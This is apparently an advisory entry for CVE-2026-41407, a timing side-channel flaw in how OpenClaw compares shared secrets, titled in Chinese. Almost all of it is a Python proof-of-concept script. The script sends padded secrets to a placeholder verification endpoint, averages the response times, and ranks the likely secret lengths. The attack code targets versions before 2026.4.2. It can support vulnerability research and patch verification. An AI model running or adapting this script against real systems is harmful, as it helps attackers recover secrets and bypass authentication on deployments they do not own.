CVE-2026-41407 OpenClaw共享密钥比较时序侧信道漏洞

import time import requests # Proof of Concept for Timing Side Channel Analysis # Target: OpenClaw < 2026.4.2 # Description: This script attempts to determine the secret length by measuring response times. TARGET_URL = "http://target-openclaw-instance/api/verify" MAX_LENGTH = 64 def check_length(length): # Construct payload with specific length payload = "A" * length start_time = time.time() try: # Send request (adjust endpoint and parameters as needed) response = requests.post(TARGET_URL, data={"secret": payload}, timeout=10) end_time = time.time() return end_time - start_time except Exception as e: print(f"Error: {e}") return 0 def main(): print("Starting timing analysis...") timings = [] for i in range(1, MAX_LENGTH + 1): # Perform multiple requests for averaging noise total_time = 0 rounds = 5 for _ in range(rounds): total_time += check_length(i) avg_time = total_time / rounds timings.append((i, avg_time)) print(f"Length {i}: {avg_time:.6f} seconds") # Simple heuristic to find the spike (actual implementation requires statistical analysis) timings.sort(key=lambda x: x[1], reverse=True) print(f"\nLikely secret length candidates based on highest latency: {timings[:3]}") if __name__ == "__main__": main()